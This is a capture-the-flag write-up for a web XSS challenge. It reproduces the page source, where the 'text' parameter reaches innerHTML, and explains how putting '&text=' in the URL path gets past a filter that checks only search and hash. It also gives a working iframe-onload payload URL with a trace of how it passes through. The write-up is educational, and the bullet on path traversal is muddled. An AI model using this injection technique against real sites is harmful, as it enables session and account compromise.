The solution:
- Should work on the latest version of
Chrome
andFireFox
; - Should leverage a cross site scripting vulnerability on this domain;
- Should not be self-XSS or related to MiTM attacks;
- Should require no user interaction;
- Should execute
alert(document.domain)
.
We have a web challenge where we can input any name
:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Welcome 2025!</title>
<style>
body {
font-family: Arial,sans-serif;
background-color: #f4f4f9;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
overflow: hidden;
position: relative;
}
</style>
<link rel="icon" href="cropped-fav-32x32.png" sizes="32x32"/>
</head>
<body>
<form id="textForm" onsubmit="redirectToText(event)">
<h1>Enter your name!</h1>
<label for="inputBox"></label>
<input type="text" id="inputBox" name="inputBox" placeholder="Type here...">
<button type="submit">Submit</button>
</form><!-- Modal -->
<div id="modal" class="modal">
<div class="modal-content">
<h2 id="modalText"></h2>
<button onclick="closeModal()">Close</button>
</div>
</div><!-- Falling Particles -->
<div id="particles"><!-- Falling particles will be generated here --></div>
<script>
function XSS() {
return decodeURIComponent(window.location.search).includes('<') || decodeURIComponent(window.location.search).includes('>')
|| decodeURIComponent(window.location.hash).includes('<') || decodeURIComponent(window.location.hash).includes('>');
}
function getParameterByName(name) {
var url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
} // Function to redirect on form submit
function redirectToText(event) {
event.preventDefault();
const inputBox = document.getElementById('inputBox');
const text = encodeURIComponent(inputBox.value);
window.location.href = `/challenge?text=${text}`;
} // Function to display modal if 'text' query param exists
function checkQueryParam() {
const text = getParameterByName('text');
if (text && XSS() === false) {
const modal = document.getElementById('modal');
const modalText = document.getElementById('modalText');
modalText.innerHTML = `Welcome, ${text}!`;
textForm.remove();
modal.style.display = 'flex';
}
} // Function to close the modal
function closeModal() {
location.replace('/challenge');
} // Function to generate random color
function getRandomColor() {
const letters = '0123456789ABCDEF';
let color = '#';
for (let i = 0; i < 6; i++) {
color += letters[Math.floor(Math.random() * 16)];
}
return color;
} // Function to generate falling particles
function generateFallingParticles() {
const particlesContainer = document.getElementById("particles"); // Generate 100 xiao particles with different animations, positions, and colors
for (let i = 0; i < 100; i++) {
let particle = document.createElement("div");
particle.classList.add("falling-particle"); // Randomize the particle's left position
particle.style.left = Math.random() * 100 + "vw"; // Left position from 0 to 100% of viewport width
particle.style.backgroundColor = getRandomColor(); // Randomize the particle's color
particle.style.animationDelay = Math.random() * 5 + "s"; // Random delay for staggered fall
particlesContainer.appendChild(particle); // Randomize animation delays
}
} // Generate particles when the page loads
window.onload = function() {
generateFallingParticles();
checkQueryParam();
};
</script>
</body>
</html>
Protections were added after the challenge was released, no great catch.
When reloading the page, we can find interesting checkQueryParam
usage.
Nothing insurmountable for our favorite LLM
tho.
The Vulnerability is XSS
in checkQueryParam
:
-
getParameterByName('text')
retrieves the text query parameter from the URL.
This is where user-provided input enters the system.
This function itself is not inherently problematic, but how the text value is used later is critical. -
modalText.innerHTML = Welcome, ${text}!;
is the heart of the vulnerability.
The code takes the retrieved text (which is potentially user-controlled) and injects it directly into theinnerHTML
of themodalText
element.
This is the classic reflectedXSS
pattern. If a user can control the text parameter, they can inject maliciousHTML
andJavaScript
. -
Path Traversal
withpathname
are parts of the URL but not typically used for path manipulation.
However, they can still be used to craft malicious payloads forXSS
or other attacks, given the regular expression pattern.
window.location.hash, window.location.search;
''
var url = window.location.href;
'https://challenge-0125.intigriti.io/&text=<iframe+onload=alert(document.domain)>/..%2Fchallenge'
name = name.replace(/[\[\]]/g, "\\$&");
'text'
var regex = new RegExp("[?&]"+name+"(=([^&#]*)|&|#|$)");
/[?&]text(=([^&#]*)|&|#|$)/
results = regex.exec(url);
['&text=%3Ciframe+onload=alert(document.domain)%3E/..%2Fchallenge',
'=%3Ciframe+onload=alert(document.domain)%3E/..%2Fchallenge',
'%3Ciframe+onload=alert(document.domain)%3E/..%2Fchallenge', index: 36, groups: undefined,
input: 'https://challenge-0125.intigriti.io/&text=%3Ciframe+onload=alert(document.domain)%3E/..%2Fchallenge'
]
if(!results) return null; if(!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
const text = getParameterByName('text');
'<iframe+onload=alert(document.domain)>/../challenge'
// <h2 id="modalText">Welcome, <iframe onload="alert(document.domain)">/../challenge!</iframe></h2>
// https://challenge-0125.intigriti.io/&text=<iframe+onload=alert(document.domain)>/..%2Fchallenge
A nice beginner-friendly challenge that forces us to think about distinctive processes.